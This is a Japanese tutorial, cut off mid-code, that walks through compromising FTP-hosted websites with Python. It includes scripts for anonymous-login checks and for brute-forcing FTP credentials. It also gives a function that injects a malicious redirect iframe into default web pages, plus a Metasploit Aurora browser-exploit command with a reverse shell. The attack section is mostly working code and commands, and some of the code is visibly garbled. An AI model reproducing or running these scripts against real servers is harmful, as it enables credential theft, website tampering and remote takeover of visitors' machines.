FTP暴力解読及び悪意あるシナリオ注入

44133 ワード

FTP接続WEBにより浸透
感染したサーバーのFTPログを確認します.
自動スクリプトがターゲットホストに接続され、indexという名前が含まれているかどうかを確認します.htmlのデフォルトのホームページ.次に攻撃者は新しいindexをアップロードした.htmページには、悪意のあるリダイレクトスクリプトが含まれている可能性があります.感染したサーバは、ページにアクセスする脆弱なクライアントを利用して浸透しています.Python ftplib を使用して、サーバが匿名ログインを許可しているかどうかを確認するための小さなスクリプトを構築できます.関数anonLogin()は、ホスト名がブール値を逆アセンブリすることを受け入れ、ホストが匿名ログインを許可するかどうかを確認する.
このブール値を確認するために、この関数は匿名認証でFTP接続を生成しようと試み、成功すれば“True”、異常が発生すれば“False”を返す.
pythonで匿名のFTPスキャナーを構築
# coding = UTF-8
import ftplib

def anonLogin(hostname):
    try:
        ftp=ftplib.FTP(hostname)
        ftp.login('anonymous','[email protected]')
        print('
[*]'
+str(hostname)+'FTP Anonymous Login Succeeded!') ftp.quit() return True except Exception as e: print('
[-]'
+str(hostname)+'FTP Anonymous Login Failed!') return False host='192.168.95.179' anonLogin(host)

ftplib暴力を利用してFTPユーザー認証を解読する
これで、前に確立したanonLogin()関数を拡張して、brutelogin()という関数を確立することができます.この関数は、ホスト名とパスワードファイルを入力として受け入れ、ホストへのアクセスを許可する証明書を返します.なお、関数はファイルの各行を反復し、ユーザー名とパスワードをコロンで分割し、この関数はユーザー名とパスワードでFTPサーバにログインしようとします.成功すると、ユーザー名とパスワードのメタグループが返され、失敗した場合は次の行のテストが続行されます.すべてのユーザー名とパスワードを巡回しても成功しなかった場合は、Noneを含むメタグループを返します.
# coding = UTF-8
import ftplib


def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('
'
) print('[+]Trying:' + userName + '/' + passWord) try: ftp = ftplib.FTP(hostname) ftp.login(userName, passWord) print('
[*]'
+ str(hostname) + 'FTP login Succeeded:' + userName + '/' + passWord) ftp.quit() return (userName, passWord) except Exception as e: pass print('
[-] Could not brute force FTP credentials.'
) return (None, None) host = '192.168.95.179' passwdFile = 'userpass.txt' bruteLogin(host, passwdFile)

FTPサーバーでwebページを探す
FTPアクセス権があり、サービスがwebアクセスを提供しているかどうかをテストします.これをテストするには、まずFTPのサービスディレクトリをリストし、デフォルトのwebページを探します.
関数returnDefault()は、入力としてFTP接続を受け取り、見つかったデフォルトページの配列を返し、ディレクトリNLSTを送信することによってディレクトリの内容をリストする.この関数は、各ファイルがデフォルトのウェブページファイル名を返し、retListというリストに発見されたデフォルトのウェブページファイル名を追加することをチェックします.これらのファイルの反復が完了すると、関数はこのリストに戻ります.
def returnDefault(ftp):
    try:
        #       
        dirList = ftp.nlst()
    except:
        dirList = []
        print('[-] Could not list directory contents.')
        print('[-] Skipping To Next Target.')
        return
    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print('[+] Found default page:' + fileName)
            retList.append(fileName)
            return retList

host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
returnDefault(ftp)

悪意のある注入スクリプトをWebページに追加
Webページファイルが見つかりました.悪意のあるリダイレクトで感染する必要があります.悪意のあるサーバとページを迅速に生成するにはhttp://10.10.10.112:8080/exploitページでは、Metasploitフレームワークが使用されます.ms10_002_aurora Exploitを選択し、同じExploitがGoogleのオーロラアクションを攻撃するために使用されます.とhttp://10.10.10.112:8080/exploitのページは被害者にリダイレクトされ、リバウンドしたシェルに戻ります.
attacker# msfcli exploit/windows/browser/ms10_002_aurora
 		LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit
 PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 
 [*] Please wait while we load the module tree...
 <...SNIPPED...>
 LHOST => 10.10.10.112
 SRVHOST => 10.10.10.112
 URIPATH => /exploit
 PAYLOAD => windows/shell/reverse_tcp
 LHOST => 10.10.10.112
 LPORT => 443
 [*] Exploit running as background job.
 [*] Started reverse handler on 10.10.10.112:443
 [*] Using URL:http://10.10.10.112:8080/exploit
 [*] Server started.
 msf exploit(ms10_002_aurora) >

脆弱なクライアントがサービスページに接続されている場合http://10.10.10.112:8080/exploit私たちの罠に落ちるだろう.成功すると、逆TCP Shellが作成され、クライアント上でWindowsコマンドをリモートで実行できます.このコマンドラインShellから、感染した被害者ホスト上で管理者権限でコマンドを実行できます.
msf exploit(ms10_002_aurora) > [*] Sending Internet Explorer
"Aurora"
 Memory Corruption to client 10.10.10.107
[*] Sending stage (240 bytes) to 10.10.10.107
[*] Command shell session 1 opened (10.10.10.112:443 ->
 10.10.10.107:49181) at 2012-06-24 10:05:10 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>

次に、感染したホストから悪意のあるサーバにリダイレクトする必要があります.そのため、陥没したサーバからデフォルトのwebページをダウンロードし、iframeを注入し、悪意のあるページをサーバにアップロードすることができます.
このinjectPage()関数を見てください.FTP接続、ページ名、リダイレクトiframeの文字列を入力として受け入れ、一時コピーとしてページをダウンロードします.次に、リダイレクトiframeコードを一時ファイルに追加します.最後に、この関数は感染したページをサーバにアップロードします.
def injectPage(ftp, page, redirect):
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR' + page, f.write)
    print '[+]Downloaded Page:' + page
    f.write(redirect)
    f.close()
    print '[+]Injected Malicious IFrame on:' + page
    ftp.storlines('STOR' + page, open(page + '.tmp'))
    print '[+] Uploaded Injected Page:' + page
    
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
redirect = '